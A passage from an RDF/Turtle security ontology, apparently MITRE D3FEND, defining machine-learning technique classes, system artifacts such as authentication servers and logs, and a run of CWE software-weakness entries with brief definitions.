    d3f:definition "Homogeneous (where the metrics are the same for both source and target) asymmetric transformation mapping transforms the source feature space to align with that of the target or the target to that of the source. This, in effect, bridges the feature space gap and reduces the problem into a homogeneous transfer problem when further distribution differences need to be corrected." ;
    d3f:kb-article """## References
Day, O., & Khoshgoftaar, T.M. (2017). A survey on heterogeneous transfer learning. Journal of Big Data, 4(1), 29. [Link](https://doi.org/10.1186/s40537-017-0089-0).""" ;
    rdfs:subClassOf d3f:HomogenousTransferLearning .

d3f:AuthenticateUser a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Authenticate User" ;
    d3f:authenticates d3f:UserAccount ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:authenticates ;
            owl:someValuesFrom d3f:UserAccount ],
        d3f:SystemCall .

d3f:AuthenticationServer a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Authentication Server" ;
    d3f:contains d3f:AuthenticationServiceApplication ;
    d3f:definition "An authentication server provides a network service that applications use to authenticate the credentials, usually account names and passwords, of their users. When a client submits a valid set of credentials, it receives a cryptographic ticket that it can subsequently use to access various services. Major authentication algorithms include passwords, Kerberos, and public key encryption." ;
    d3f:manages d3f:AuthenticationService ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Authentication_server> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:manages ;
            owl:someValuesFrom d3f:AuthenticationService ],
        [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:AuthenticationServiceApplication ],
        d3f:Server .

d3f:AuthorizationLog a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Authorization Log" ;
    d3f:definition "A log of authorization events." ;
    d3f:records d3f:NetworkResourceAccess ;
    rdfs:seeAlso <http://dbpedia.org/resource/Authorization>,
        <http://wordnet-rdf.princeton.edu/id/00155053-n> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:records ;
            owl:someValuesFrom d3f:NetworkResourceAccess ],
        d3f:EventLog .

d3f:Autoencoding a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Autoencoding" ;
    d3f:d3fend-id "D3A-AUT" ;
    d3f:definition "Autoencoders are specific type of deep learning architecture used for learning representation of data, typically for the purpose of dimensionality reduction. This is achieved by designing deep learning architecture that aims that copying input layer at its output layer." ;
    d3f:kb-article """## References
SOCR. (n.d.). ABIDE Autoencoder. [Link](https://socr.umich.edu/HTML5/ABIDE_Autoencoder/#:~:text=In%20simple%20words%2C%20autoencoders%20are,layer%20at%20its%20output%20layer.)""" ;
    rdfs:subClassOf d3f:DimensionReduction .

d3f:AutoregressiveModel a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Autoregressive Model" ;
    d3f:d3fend-id "D3A-AM" ;
    d3f:definition "An autoregressive (AR) model is a representation of a type of random process; as such, it is used to describe certain time-varying processes in nature, economics, behavior, etc." ;
    d3f:kb-article """## References
Wikipedia. (n.d.). Autoregressive model. [Link](https://en.wikipedia.org/wiki/Autoregressive_model)""" ;
    d3f:synonym "AR Model" ;
    rdfs:subClassOf d3f:TimeSeriesAnalysis .

d3f:BERT a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "BERT" ;
    d3f:d3fend-id "D3A-BER" ;
    d3f:definition "Bidirectional Encoder Representations from Transformers (BERT) is based on a deep learning model in which every output element is connected to every input element, and the weightings between them are dynamically calculated based upon their connection." ;
    d3f:kb-article """## References
BERT (language model). (n.d.). In TechTarget. [Link](https://www.techtarget.com/searchenterpriseai/definition/BERT-language-model)
BERT (language model). (n.d.). In Wikipedia. [Link](https://en.wikipedia.org/wiki/BERT_(language_model))""" ;
    d3f:synonym "Bidirectional Encoder Representations from Transformers" ;
    rdfs:subClassOf d3f:Transformer-basedLearning .

d3f:BSDProcess a d3f:Process,
        owl:NamedIndividual ;
    rdfs:label "BSD Process" .

d3f:BarcodeScannerInputDevice a owl:Class ;
    rdfs:label "Barcode Scanner Input Device" ;
    d3f:definition "A barcode reader (or barcode scanner) is an optical scanner that can read printed barcodes, decode the data contained in the barcode and send the data to a computer. Like a flatbed scanner, it consists of a light source, a lens and a light sensor translating for optical impulses into electrical signals. Additionally, nearly all barcode readers contain decoder circuitry that can analyze the barcode's image data provided by the sensor and sending the barcode's content to the scanner's output port." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Barcode_reader> ;
    rdfs:subClassOf d3f:ImageScannerInputDevice ;
    skos:altLabel "Barcode Reader" .

d3f:BashScriptFile a d3f:ExecutableScript,
        owl:NamedIndividual ;
    rdfs:label "Bash Script File" .

d3f:BayesOptimalClassifier a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Bayes Optimal Classifier" ;
    d3f:d3fend-id "D3A-BOC" ;
    d3f:definition "A probabilistic model that makes the most probable prediction for a new example." ;
    d3f:kb-article """## References
Bayes Optimal Classifier. Machine Learning Mastery.  [Link](https://machinelearningmastery.com/bayes-optimal-classifier/).
Ensemble learning. Wikipedia.  [Link](https://en.wikipedia.org/wiki/Ensemble_learning).""" ;
    rdfs:subClassOf d3f:EnsembleLearning .

d3f:BayesianEstimation a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Bayesian Estimation" ;
    d3f:d3fend-id "D3A-BE" ;
    d3f:definition "A Bayes estimator or a Bayes action is an estimator or decision rule that minimizes the posterior expected value of a loss function (i.e., the posterior expected loss)." ;
    d3f:kb-article """## References
Wikipedia. (n.d.). Bayes estimator. [Link](https://en.wikipedia.org/wiki/Bayes_estimator)""" ;
    rdfs:subClassOf d3f:BayesianMethod .

d3f:BayesianHypothesisTesting a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Bayesian Hypothesis Testing" ;
    d3f:d3fend-id "D3A-BHT" ;
    d3f:definition "Bayesian hypothesis testing can be framed as a special case of model comparison where a model refers to a likelihood function and a prior distribution." ;
    d3f:kb-article """## How it works
Given two competing hypotheses and some relevant data, Bayesian hypothesis testing begins by specifying separate prior distributions to quantitatively describe each hypothesis. The combination of the likelihood function for the observed data with each of the prior distributions yields hypothesis-specific models. For each of the hypothesis-specific models, averaging (ie, integrating) the likelihood with respect to the prior distribution across the entire parameter space yields the probability of the data under the model and, therefore, the corresponding hypothesis. This quantity is more commonly referred to as the marginal likelihood and represents the average fit of the model to the data. The ratio of the marginal likelihoods for both hypothesis-specific models is known as the Bayes factor.

## References
Baig, S. A., PhD. (2020). Bayesian Inference: An Introduction to Hypothesis Testing Using Bayes Factors. Nicotine & Tobacco Research, 22(7), 1244-1246. [Link](https://academic.oup.com/ntr/article/22/7/1244/5613971)""" ;
    rdfs:subClassOf d3f:BayesianMethod .

d3f:BayesianLinearRegressionLearning a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Bayesian Linear Regression Learning" ;
    d3f:d3fend-id "D3A-BLRL" ;
    d3f:definition "A supervised learning method that builds a Bayesian linear regression model using training data." ;
    d3f:kb-article """## References
Wikipedia. (n.d.). Bayesian linear regression. [Link](https://en.wikipedia.org/wiki/Bayesian_linear_regression)""" ;
    rdfs:seeAlso d3f:BayesianLinearRegression ;
    rdfs:subClassOf d3f:RegressionAnalysisLearning .

d3f:BayesianModelAveraging a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Bayesian Model Averaging" ;
    d3f:d3fend-id "D3A-BMA" ;
    d3f:definition "A parameter estimate (or a prediction of new observations) obtained by averaging the estimates (or predictions) of the different models under consideration, each weighted by its model probability." ;
    d3f:kb-article """## References
Ensemble learning. Wikipedia.  [Link](https://en.wikipedia.org/wiki/Ensemble_learning).

Bayesian model average: A parameter estimation approach to model agnostic ensemble learning. (2019). Journal of Machine Learning for Modeling and Computing, 1(2), 61-70.  [Link](https://journals.sagepub.com/doi/full/10.1177/2515245919898657#:~:text=Bayesian%20model%20average%3A%20A%20parameter,weighted%20by%20its%20model%20probability).""" ;
    rdfs:subClassOf d3f:EnsembleLearning .

d3f:BayesianModelCombination a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Bayesian Model Combination" ;
    d3f:d3fend-id "D3A-BMC" ;
    d3f:definition "Bayesian model combination (BMC) is an algorithmic correction to Bayesian model averaging (BMA). Instead of sampling each model in the ensemble individually, it samples from the space of possible ensembles (with model weights drawn randomly from a Dirichlet distribution having uniform parameters)" ;
    d3f:kb-article """## References
Ensemble learning. Wikipedia.  [Link](https://en.wikipedia.org/wiki/Ensemble_learning).

Shultz, K. M., & Peterson, L. E. (2011). Model-averaged confidence intervals for ensemble learning. In *International Joint Conference on Neural Networks* (pp. 2677-2684).  [Link](https://axon.cs.byu.edu/papers/Kristine.ijcnn2011.pdf).""" ;
    rdfs:subClassOf d3f:EnsembleLearning .

d3f:BinaryClassification a owl:Class ;
    rdfs:label "Binary Classification" ;
    rdfs:subClassOf d3f:Classifying .

d3f:BitmapImageFile a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Bitmap Image File" ;
    d3f:contains d3f:BitmapImage ;
    d3f:definition "A file that contains graphics data represented in a bitmap." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:BitmapImage ],
        d3f:ImageFile .

d3f:BooleanExpressionMatching a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Boolean Expression Matching" ;
    d3f:d3fend-id "D3A-BEM" ;
    d3f:definition "Boolean expression matching produces a Boolean truth value for a given boolean expression and assignment of values to variables in the expression." ;
    d3f:kb-article """## How it works
A Boolean expression is an expression used in programming languages that produces a Boolean value when evaluated. A Boolean value is either true or false. A Boolean expression may be composed of a combination of the Boolean constants true or false, Boolean-typed variables, Boolean-valued operators, and Boolean-valued functions.

Boolean expressions correspond to propositional formulas in logic and are a special case of Boolean circuits.

## References
1. Boolean expression. (2022, April 25). In _Wikipedia_. [Link](https://en.wikipedia.org/wiki/Boolean_expression)
2. Boolean algebra. (2022, May 19). In _Wikipedia_.
[Link](https://en.wikipedia.org/wiki/Boolean_expression)""" ;
    rdfs:subClassOf d3f:LogicalRules .

d3f:Boosting a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Boosting" ;
    d3f:d3fend-id "D3A-BOO" ;
    d3f:definition "Boosting is a sequential process where each subsequent model attempts to correct the errors of the previous model" ;
    d3f:kb-article """## How it works
Boosting consists of using sequentially weak learners where each iteration’s training focuses on previously misclassified instances in order to improve on the previous iteration. This process is continued iteratively until the final prediction is made by aggregating the previous predictions.

## Considerations
Boosting can be computationally expensive, prone to overfitting, and slower to train compared to other ensemble methods.

There are three main types of Boosting algorithms
 - Adaptive Boosting
Adaptive Boosting (sometimes called AdaBoost) works by adding equal importance to each piece of a dataset and running it through the base learning algorithms. Every algorithm that errors, the boosting algorithm assigns a higher importance to. This continues until an acceptable level of confidence is reached.
 - Gradient Boosting
Gradient Boosting starts by training multiple models simultaneously to gather a strong estimate of strength to build new base learning algorithms.
 - XGBoosting
XGBoosting is a scalable tree boosting model. Using decision trees, weight is assigned to each variable and put into a decision tree. Outputs that are classified by the algorithm as wrong or weak are put into a second decision tree and the results form a stronger model.

## References
Sciencedirect. (n.d.). Semi-supervised learning: An overview. [Link](https://www.sciencedirect.com/science/article/pii/S1319157823000228)""" ;
    rdfs:subClassOf d3f:EnsembleLearning .

d3f:BucketOfModels a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Bucket of Models" ;
    d3f:d3fend-id "D3A-BOM" ;
    d3f:definition "A \"bucket of models\" is an ensemble technique in which a model selection algorithm is used to choose the best model for each problem. When tested with only one problem, a bucket of models can produce no better results than the best model in the set, but when evaluated across many problems, it will typically produce much better results, on average, than any model in the set." ;
    d3f:kb-article """## References
Ensemble learning. Wikipedia.  [Link](https://en.wikipedia.org/wiki/Ensemble_learning).""" ;
    rdfs:subClassOf d3f:EnsembleLearning .

d3f:BusNetworkNode a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Bus Network Node" ;
    d3f:connected-to d3f:BusNetwork ;
    d3f:definition "A device or logical endpoint whose interface is directly connected to a bus and exchanges data over the shared medium using the protocol implemented on that interface." ;
    d3f:transmits d3f:BusNetworkTraffic ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:connected-to ;
            owl:someValuesFrom d3f:BusNetwork ],
        [ a owl:Restriction ;
            owl:onProperty d3f:transmits ;
            owl:someValuesFrom d3f:BusNetworkTraffic ],
        d3f:Host .

d3f:BusinessCommunicationPlatformClient a owl:Class ;
    rdfs:label "Business Communication Platform Client" ;
    d3f:definition "Client software to enable the process of sharing information between employees within and outside a company.  Business communication encompasses topics such as marketing, brand management, customer relations, consumer behavior, advertising, public relations, corporate communication, community engagement, reputation management, interpersonal communication, employee engagement, and event management. It is closely related to the fields of professional communication and technical communication." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Business_communication> ;
    rdfs:subClassOf d3f:CollaborativeSoftware .

d3f:C4.5 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "C4.5" ;
    d3f:d3fend-id "D3A-C4." ;
    d3f:definition "C4.5 is an algorithm that is strongly based off ID3. It creates decision trees the same way as ID3. C4.5 improves on several aspects of ID3, including handling discreet variables, handling training data with missing values, and has the ability to automatically prune the decision trees it creates." ;
    d3f:kb-article """## References
C4.5 algorithm. Wikipedia. [Link](https://en.wikipedia.org/wiki/C4.5_algorithm).""" ;
    rdfs:subClassOf d3f:DecisionTree .

d3f:C5.0 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "C5.0" ;
    d3f:d3fend-id "D3A-C5." ;
    d3f:definition "C5.0 is the next version of C4.5, which in turn is the upgrade from ID3. The only difference between C5.0 and C4.5 is some improvements made to C5.0." ;
    d3f:kb-article """## References
C4.5 algorithm. Wikipedia. [Link](https://en.wikipedia.org/wiki/C4.5_algorithm).""" ;
    rdfs:subClassOf d3f:DecisionTree .

d3f:CACertificateFile a owl:Class ;
    rdfs:label "CA Certificate File" ;
    d3f:definition "A file containing a digital certificate issued by a certificate authority (CA).  Certificate authorities store, issue, and sign digital certificates used as part of the public key infrastructure." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Certificate_authority>,
        <http://dbpedia.org/resource/Public_key_infrastructure> ;
    rdfs:subClassOf d3f:CertificateFile .

d3f:CAPEC-663 a d3f:CommonAttackPattern,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Exploitation of Transient Instruction Execution" ;
    d3f:capec-id "CAPEC-553" ;
    rdfs:isDefinedBy <https://capec.mitre.org/data/definitions/663.html> ;
    rdfs:subClassOf d3f:CommonAttackPattern .

d3f:CWE-1004 a owl:Class ;
    rdfs:label "Sensitive Cookie Without 'HttpOnly' Flag" ;
    d3f:cwe-id "CWE-1004" ;
    d3f:definition "The product uses a cookie to store sensitive information, but the cookie is not marked with the HttpOnly flag." ;
    rdfs:subClassOf d3f:CWE-732 .

d3f:CWE-1007 a owl:Class ;
    rdfs:label "Insufficient Visual Distinction of Homoglyphs Presented to User" ;
    d3f:cwe-id "CWE-1007" ;
    d3f:definition "The product displays information or identifiers to a user, but the display mechanism does not make it easy for the user to distinguish between visually similar or identical glyphs (homoglyphs), which may cause the user to misinterpret a glyph and perform an unintended, insecure action." ;
    d3f:synonym "Homograph Attack" ;
    rdfs:subClassOf d3f:CWE-451 .

d3f:CWE-102 a owl:Class ;
    rdfs:label "Struts: Duplicate Validation Forms" ;
    d3f:cwe-id "CWE-102" ;
    d3f:definition "The product uses multiple validation forms with the same name, which might cause the Struts Validator to validate a form that the programmer does not expect." ;
    rdfs:subClassOf d3f:CWE-1173,
        d3f:CWE-694 .

d3f:CWE-1021 a owl:Class ;
    rdfs:label "Improper Restriction of Rendered UI Layers or Frames" ;
    d3f:cwe-id "CWE-1021" ;
    d3f:definition "The web application does not restrict or incorrectly restricts frame objects or UI layers that belong to another application or domain, which can lead to user confusion about which interface the user is interacting with." ;
    d3f:synonym "Clickjacking",
        "Tapjacking",
        "UI Redress Attack" ;
    rdfs:subClassOf d3f:CWE-441,
        d3f:CWE-451 .

d3f:CWE-1022 a owl:Class ;
    rdfs:label "Use of Web Link to Untrusted Target with window.opener Access" ;
    d3f:cwe-id "CWE-1022" ;
    d3f:definition "The web application produces links to untrusted external sites outside of its sphere of control, but it does not properly prevent the external site from modifying security-critical properties of the window.opener object, such as the location property." ;
    d3f:synonym "tabnabbing" ;
    rdfs:subClassOf d3f:CWE-266 .

d3f:CWE-1024 a owl:Class ;
    rdfs:label "Comparison of Incompatible Types" ;
    d3f:cwe-id "CWE-1024" ;
    d3f:definition "The product performs a comparison between two entities, but the entities are of different, incompatible types that cannot be guaranteed to provide correct results when they are directly compared." ;
    rdfs:subClassOf d3f:CWE-697 .

d3f:CWE-103 a owl:Class ;
    rdfs:label "Struts: Incomplete validate() Method Definition" ;
    d3f:cwe-id "CWE-103" ;
    d3f:definition "The product has a validator form that either does not define a validate() method, or defines a validate() method but does not call super.validate()." ;
    rdfs:subClassOf d3f:CWE-573 .

d3f:CWE-1037 a owl:Class ;
    rdfs:label "Processor Optimization Removal or Modification of Security-critical Code" ;
    d3f:cwe-id "CWE-1037" ;
    d3f:definition "The developer builds a security-critical protection mechanism into the software, but the processor optimizes the execution of the program such that the mechanism is removed or modified." ;
    rdfs:subClassOf d3f:CWE-1038 .

d3f:CWE-1039 a owl:Class ;
    rdfs:label "Automated Recognition Mechanism with Inadequate Detection or Handling of Adversarial Input Perturbations",
        "Inadequate Detection or Handling of Adversarial Input Perturbations in Automated Recognition Mechanism" ;
    d3f:cwe-id "CWE-1039" ;
    d3f:definition "The product uses an automated mechanism such as machine learning to recognize complex data inputs (e.g. image or audio) as a particular concept or category, but it does not properly detect or handle inputs that have been modified or constructed in a way that causes the mechanism to detect a different, incorrect concept." ;
    rdfs:subClassOf d3f:CWE-693,
        d3f:CWE-697 .

d3f:CWE-104 a owl:Class ;
    rdfs:label "Struts: Form Bean Does Not Extend Validation Class" ;
    d3f:cwe-id "CWE-104" ;
    d3f:definition "If a form bean does not extend an ActionForm subclass of the Validator framework, it can expose the application to other weaknesses related to insufficient input validation." ;
    rdfs:subClassOf d3f:CWE-573 .

d3f:CWE-1041 a owl:Class ;
    rdfs:label "Use of Redundant Code" ;
    d3f:cwe-id "CWE-1041" ;
    d3f:definition "The product has multiple functions, methods, procedures, macros, etc. that contain the same code." ;
    rdfs:subClassOf d3f:CWE-710 .

d3f:CWE-1042 a owl:Class ;
    rdfs:label "Static Member Data Element outside of a Singleton Class Element" ;
    d3f:cwe-id "CWE-1042" ;
    d3f:definition "The code contains a member element that is declared as static (but not final), in which its parent class element is not a singleton class - that is, a class element that can be used only once in the 'to' association of a Create action." ;
    rdfs:subClassOf d3f:CWE-1176 .

d3f:CWE-1043 a owl:Class ;
    rdfs:label "Data Element Aggregating an Excessively Large Number of Non-Primitive Elements" ;
    d3f:cwe-id "CWE-1043" ;
    d3f:definition "The product uses a data element that has an excessively large number of sub-elements with non-primitive data types such as structures or aggregated objects." ;
    rdfs:subClassOf d3f:CWE-1093 .

d3f:CWE-1044 a owl:Class ;
    rdfs:label "Architecture with Number of Horizontal Layers Outside of Expected Range" ;
    d3f:cwe-id "CWE-1044" ;
    d3f:definition "The product's architecture contains too many - or too few - horizontal layers." ;
    rdfs:subClassOf d3f:CWE-710 .

d3f:CWE-1045 a owl:Class ;
    rdfs:label "Parent Class with a Virtual Destructor and a Child Class without a Virtual Destructor" ;
    d3f:cwe-id "CWE-1045" ;
    d3f:definition "A parent class has a virtual destructor method, but the parent has a child class that does not have a virtual destructor." ;
    rdfs:subClassOf d3f:CWE-1076 .

d3f:CWE-1046 a owl:Class ;
    rdfs:label "Creation of Immutable Text Using String Concatenation" ;
    d3f:cwe-id "CWE-1046" ;
    d3f:definition "The product creates an immutable text string using string concatenation operations." ;
    rdfs:subClassOf d3f:CWE-1176 .

d3f:CWE-1047 a owl:Class ;
    rdfs:label "Modules with Circular Dependencies" ;
    d3f:cwe-id "CWE-1047" ;
    d3f:definition "The product contains modules in which one module has references that cycle back to itself, i.e., there are circular dependencies." ;
    rdfs:subClassOf d3f:CWE-1120 .

d3f:CWE-1048 a owl:Class ;
    rdfs:label "Invokable Control Element with Large Number of Outward Calls" ;
    d3f:cwe-id "CWE-1048" ;
    d3f:definition "The code contains callable control elements that contain an excessively large number of references to other application objects external to the context of the callable, i.e. a Fan-Out value that is excessively large." ;
    rdfs:subClassOf d3f:CWE-710 .

d3f:CWE-1049 a owl:Class ;
    rdfs:label "Excessive Data Query Operations in a Large Data Table" ;
    d3f:cwe-id "CWE-1049" ;
    d3f:definition "The product performs a data query with a large number of joins and sub-queries on a large data table." ;
    rdfs:subClassOf d3f:CWE-1176 .

d3f:CWE-105 a owl:Class ;
    rdfs:label "Struts: Form Field Without Validator" ;
    d3f:cwe-id "CWE-105" ;
    d3f:definition "The product has a form field that is not validated by a corresponding validation form, which can introduce other weaknesses related to insufficient input validation." ;
    rdfs:subClassOf d3f:CWE-1173 .

d3f:CWE-1050 a owl:Class ;
    rdfs:label "Excessive Platform Resource Consumption within a Loop" ;
    d3f:cwe-id "CWE-1050" ;
    d3f:definition "The product has a loop body or loop condition that contains a control element that directly or indirectly consumes platform resources, e.g. messaging, sessions, locks, or file descriptors." ;
    rdfs:subClassOf d3f:CWE-405 .

d3f:CWE-1051 a owl:Class ;
    rdfs:label "Initialization with Hard-Coded Network Resource Configuration Data" ;
    d3f:cwe-id "CWE-1051" ;
    d3f:definition "The product initializes data using hard-coded values that act as network resource identifiers." ;
    rdfs:subClassOf d3f:CWE-1419,
        d3f:CWE-665 .

d3f:CWE-1052 a owl:Class ;
    rdfs:label "Excessive Use of Hard-Coded Literals in Initialization" ;
    d3f:cwe-id "CWE-1052" ;
    d3f:definition "The product initializes a data element using a hard-coded literal that is not a simple integer or static constant element." ;
    rdfs:subClassOf d3f:CWE-1419,
        d3f:CWE-665 .

d3f:CWE-1053 a owl:Class ;
    rdfs:label "Missing Documentation for Design" ;
    d3f:cwe-id "CWE-1053" ;
    d3f:definition "The product does not have documentation that represents how it is designed." ;
    rdfs:subClassOf d3f:CWE-1059 .

d3f:CWE-1054 a owl:Class ;
    rdfs:label "Invocation of a Control Element at an Unnecessarily Deep Horizontal Layer" ;
    d3f:cwe-id "CWE-1054" ;
    d3f:definition "The code at one architectural layer invokes code that resides at a deeper layer than the adjacent layer, i.e., the invocation skips at least one layer, and the invoked code is not part of a vertical utility layer that can be referenced from any horizontal layer." ;
    rdfs:subClassOf d3f:CWE-1061 .

d3f:CWE-1055 a owl:Class ;
    rdfs:label "Multiple Inheritance from Concrete Classes" ;
    d3f:cwe-id "CWE-1055" ;
    d3f:definition "The product contains a class with inheritance from more than one concrete class." ;
    rdfs:subClassOf d3f:CWE-1093 .

d3f:CWE-1056 a owl:Class ;
    rdfs:label "Invokable Control Element with Variadic Parameters" ;
    d3f:cwe-id "CWE-1056" ;
    d3f:definition "A named-callable or method control element has a signature that supports a variable (variadic) number of parameters or arguments." ;
    rdfs:subClassOf d3f:CWE-1120 .

d3f:CWE-1057 a owl:Class ;
    rdfs:label "Data Access Operations Outside of Expected Data Manager Component" ;
    d3f:cwe-id "CWE-1057" ;
    d3f:definition "The product uses a dedicated, central data manager component as required by design, but it contains code that performs data-access operations that do not use this data manager." ;
    rdfs:subClassOf d3f:CWE-1061 .

d3f:CWE-1058 a owl:Class ;
    rdfs:label "Invokable Control Element in Multi-Thread Context with non-Final Static Storable or Member Element" ;
    d3f:cwe-id "CWE-1058" ;
    d3f:definition "The code contains a function or method that operates in a multi-threaded environment but owns an unsafe non-final static storable or member data element." ;
    rdfs:subClassOf d3f:CWE-662 .

d3f:CWE-106 a owl:Class ;
    rdfs:label "Struts: Plug-in Framework not in Use" ;
    d3f:cwe-id "CWE-106" ;
    d3f:definition "When an application does not use an input validation framework such as the Struts Validator, there is a greater risk of introducing weaknesses related to insufficient input validation." ;
    rdfs:subClassOf d3f:CWE-1173 .

d3f:CWE-1060 a owl:Class ;
    rdfs:label "Excessive Number of Inefficient Server-Side Data Accesses" ;
    d3f:cwe-id "CWE-1060" ;
    d3f:definition "The product performs too many data queries without using efficient data processing functionality such as stored procedures." ;
    rdfs:subClassOf d3f:CWE-1120 .

d3f:CWE-1062 a owl:Class ;
    rdfs:label "Parent Class with References to Child Class" ;
    d3f:cwe-id "CWE-1062" ;
    d3f:definition "The code has a parent class that contains references to a child class, its methods, or its members." ;
    rdfs:subClassOf d3f:CWE-1061 .

d3f:CWE-1063 a owl:Class ;
    rdfs:label "Creation of Class Instance within a Static Code Block" ;
    d3f:cwe-id "CWE-1063" ;
    d3f:definition "A static code block creates an instance of a class." ;
    rdfs:subClassOf d3f:CWE-1176 .

d3f:CWE-1064 a owl:Class ;
    rdfs:label "Invokable Control Element with Signature Containing an Excessive Number of Parameters" ;
    d3f:cwe-id "CWE-1064" ;
    d3f:definition "The product contains a function, subroutine, or method whose signature has an unnecessarily large number of parameters/arguments." ;
    rdfs:subClassOf d3f:CWE-1120 .

d3f:CWE-1065 a owl:Class ;
    rdfs:label "Runtime Resource Management Control Element in a Component Built to Run on Application Servers" ;
    d3f:cwe-id "CWE-1065" ;
    d3f:definition "The product uses deployed components from application servers, but it also uses low-level functions/methods for management of resources, instead of the API provided by the application server." ;
    rdfs:subClassOf d3f:CWE-710 .

d3f:CWE-1066 a owl:Class ;
    rdfs:label "Missing Serialization Control Element" ;
    d3f:cwe-id "CWE-1066" ;
    d3f:definition "The product contains a serializable data element that does not have an associated serialization method." ;
    rdfs:subClassOf d3f:CWE-710 .

d3f:CWE-1067 a owl:Class ;
    rdfs:label "Excessive Execution of Sequential Searches of Data Resource" ;
    d3f:cwe-id "CWE-1067" ;
    d3f:definition "The product contains a data query against an SQL table or view that is configured in a way that does not utilize an index and may cause sequential searches to be performed." ;
    rdfs:subClassOf d3f:CWE-1176 .

d3f:CWE-1068 a owl:Class ;
    rdfs:label "Inconsistency Between Implementation and Documented Design" ;
    d3f:cwe-id "CWE-1068" ;
    d3f:definition "The implementation of the product is not consistent with the design as described within the relevant documentation." ;
    rdfs:subClassOf d3f:CWE-710 .

d3f:CWE-1069 a owl:Class ;
    rdfs:label "Empty Exception Block" ;
    d3f:cwe-id "CWE-1069" ;
    d3f:definition "An invokable code block contains an exception handling block that does not contain any code, i.e. is empty." ;
    rdfs:subClassOf d3f:CWE-1071 .

d3f:CWE-107 a owl:Class ;
    rdfs:label "Struts: Unused Validation Form" ;
    d3f:cwe-id "CWE-107" ;
    d3f:definition "An unused validation form indicates that validation logic is not up-to-date." ;
    rdfs:subClassOf d3f:CWE-1164 .

d3f:CWE-1070 a owl:Class ;
    rdfs:label "Serializable Data Element Containing non-Serializable Item Elements" ;
    d3f:cwe-id "CWE-1070" ;
    d3f:definition "The product contains a serializable, storable data element such as a field or member, but the data element contains member elements that are not serializable." ;
    rdfs:subClassOf d3f:CWE-1076,
        d3f:CWE-710 .

d3f:CWE-1072 a owl:Class ;
    rdfs:label "Data Resource Access without Use of Connection Pooling" ;
    d3f:cwe-id "CWE-1072" ;
    d3f:definition "The product accesses a data resource through a database without using a connection pooling capability." ;
    rdfs:subClassOf d3f:CWE-405 .

d3f:CWE-1073 a owl:Class ;
    rdfs:label "Non-SQL Invokable Control Element with Excessive Number of Data Resource Accesses" ;
    d3f:cwe-id "CWE-1073" ;
    d3f:definition "The product contains a client with a function or method that contains a large number of data accesses/queries that are sent through a data manager, i.e., does not use efficient database capabilities." ;
    rdfs:subClassOf d3f:CWE-405 .

d3f:CWE-1074 a owl:Class ;
    rdfs:label "Class with Excessively Deep Inheritance" ;
    d3f:cwe-id "CWE-1074" ;
    d3f:definition "A class has an inheritance level that is too high, i.e., it has a large number of parent classes." ;
    rdfs:subClassOf d3f:CWE-1093 .

d3f:CWE-1075 a owl:Class ;
    rdfs:label "Unconditional Control Flow Transfer outside of Switch Block" ;
    d3f:cwe-id "CWE-1075" ;
    d3f:definition "The product performs unconditional control transfer (such as a \"goto\") in code outside of a branching structure such as a switch block." ;
    rdfs:subClassOf d3f:CWE-1120 .

d3f:CWE-1077 a owl:Class ;
    rdfs:label "Floating Point Comparison with Incorrect Operator" ;
    d3f:cwe-id "CWE-1077" ;
    d3f:definition "The code performs a comparison such as an equality test between two float (floating point) values, but it uses comparison operators that do not account for the possibility of loss of precision." ;
    rdfs:subClassOf d3f:CWE-697 .

d3f:CWE-1079 a owl:Class ;
    rdfs:label "Parent Class without Virtual Destructor Method" ;
    d3f:cwe-id "CWE-1079" ;
    d3f:definition "A parent class contains one or more child classes, but the parent class does not have a virtual destructor method." ;
    rdfs:subClassOf d3f:CWE-1076 .

d3f:CWE-108 a owl:Class ;
    rdfs:label "Struts: Unvalidated Action Form" ;
    d3f:cwe-id "CWE-108" ;
    d3f:definition "Every Action Form must have a corresponding validation form." ;
    rdfs:subClassOf d3f:CWE-1173 .

d3f:CWE-1080 a owl:Class ;
    rdfs:label "Source Code File with Excessive Number of Lines of Code" ;
    d3f:cwe-id "CWE-1080" ;
    d3f:definition "A source code file has too many lines of code." ;
    rdfs:subClassOf d3f:CWE-1120 .

d3f:CWE-1082 a owl:Class ;
    rdfs:label "Class Instance Self Destruction Control Element" ;
    d3f:cwe-id "CWE-1082" ;
    d3f:definition "The code contains a class instance that calls the method or function to delete or destroy itself." ;
    rdfs:subClassOf d3f:CWE-1076 .

d3f:CWE-1083 a owl:Class ;
    rdfs:label "Data Access from Outside Expected Data Manager Component" ;
    d3f:cwe-id "CWE-1083" ;
    d3f:definition "The product is intended to manage data access through a particular data manager component such as a relational or non-SQL database, but it contains code that performs data access operations without using that component." ;
    rdfs:subClassOf d3f:CWE-1061 .

d3f:CWE-1084 a owl:Class ;
    rdfs:label "Invokable Control Element with Excessive File or Data Access Operations" ;
    d3f:cwe-id "CWE-1084" ;
